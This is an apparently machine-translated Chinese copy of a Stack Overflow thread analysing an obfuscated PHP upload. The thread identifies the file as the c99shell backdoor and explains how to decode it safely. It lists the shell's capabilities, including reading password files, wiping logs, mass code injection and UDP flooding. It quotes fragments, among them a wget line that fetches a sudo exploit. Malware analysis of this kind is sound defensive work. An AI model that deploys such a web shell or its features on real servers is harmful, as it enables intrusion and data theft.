Php 黑客,这段代码做什么?
警告:这是一个可能的漏洞。如果不确定如何处理此问题,请不要直接在服务器上运行 我相信这是通过一个不安全的上传脚本上传的。如何解码和解压缩此代码?在浏览器中运行它可能会将其作为shell脚本执行,或者打开一个端口或其他什么Php 黑客,这段代码做什么?,php,security,Php,Security,警告:这是一个可能的漏洞。如果不确定如何处理此问题,请不要直接在服务器上运行 我相信这是通过一个不安全的上传脚本上传的。如何解码和解压缩此代码?在浏览器中运行它可能会将其作为shell脚本执行,或者打开一个端口或其他什么 我可以在线进行base64解码,但我无法真正解压缩它。所以有一个字符串。它是gzip和base64编码的,代码对base64进行解码,然后解压缩 完成后,我的结果是: <? eval(base64_decode('...')); ?> base64的另一层,
我可以在线进行base64解码,但我无法真正解压缩它。所以有一个字符串。它是gzip和base64编码的,代码对base64进行解码,然后解压缩 完成后,我的结果是:
<? eval(base64_decode('...')); ?>
base64的另一层,长度为720440字节
现在,base64解码,我们有506961字节的攻击代码
我仍在检查代码,当我有更多的理解时,我会更新这个答案。代码是巨大的
仍在阅读代码,并且(做得很好)利用漏洞使这些工具暴露给黑客:
- TCP后门设置
- 未经授权的外壳访问
- 读取所有htpasswd、htaccess、密码和配置文件
- 清除原木
- MySQL访问(读、写)
- 将代码附加到与名称模式匹配的所有文件(大规模利用)
- RFI/LFI扫描仪
- UDP泛洪
- 内核信息
这个漏洞被称为
c99shell
(感谢易江),它非常流行,已经被谈论并运行了几年。谷歌上有很多关于此漏洞的结果。首先,用回音替换eval
,看看如果你允许它会执行什么代码。
将该脚本的输出发送到另一个文件,例如test2.php。
在该文件中,再次执行相同的技巧。运行它,它将输出完整的恶意程序(这是一头野兽),~4k行黑客的快感。查看Delan解码的源代码,它似乎是一个成熟的后门,提供了一个web界面,可用于以各种方式控制服务器。告诉源代码中的片段:
echo '<center>Are you sure you want to install an IP:Port proxy on this
website/server?<br />
我建议您删除该服务器,从头开始重新安装所有内容。我知道德兰·阿扎巴尼已经这样做了,但只是为了让您真正了解他是如何获得数据的:
如果您想知道如何解压,请使用base64-d filename>output
解析base64字符串,并使用gunzip file.name.gz
解析压缩后的数据
诀窍在于认识到您拥有的是base64或gunzip,并解压缩正确的位
这样一来,它绝对不会接近JS解析器或PHP解析器。这是PHP shell的代码。
破译
用打印替换eval(“?>”)(
运行这个
然后将eval替换为print并在浏览器中运行。http://loclhost/file2.php
您可以将代码粘贴到这里吗?我无法打开此链接。恐怕它已经执行了。:(顺便说一句,你可以解压它,但不要评估它。我复制了代码进行测试,难以置信的是MSE在剪贴板缓存文件中找到了它,并指导我找到了这个在线病毒定义:哇,这是一个完整的后门设置。尽管上传它的人可能是另一个脚本kiddie。它直接托管在我们的apache根目录下目录。一个真正的黑客会在设置后门后删除它。它有一个shell脚本,一个名为$backdoor的字符串,它被写出来并执行。PHP然后告诉用户这已经完成,并与netcat连接。像这样的狗屎让我害怕array(“wget Sudo漏洞”,“工作组http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c”,
@gAMBOOKa只影响sudo 1.6.8。你会定期更新你的软件,对吗…?!!sudo-V
来看看这是否会影响你。@Ninefingers:我很安全!谢谢你的提示。非常好的安全提示;永远不要让它执行。
<b>Mass Code Injection:</b><br><br>
Use this to add PHP to the end of every .php page in the directory specified.
echo "<br><b>UDP Flood</b><br>Completed with $pakits (" .
round(($pakits*65)/1024, 2) . " MB) packets averaging ".
round($pakits/$exec_time, 2) . " packets per second \n";
if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
php5 file.php > file2.php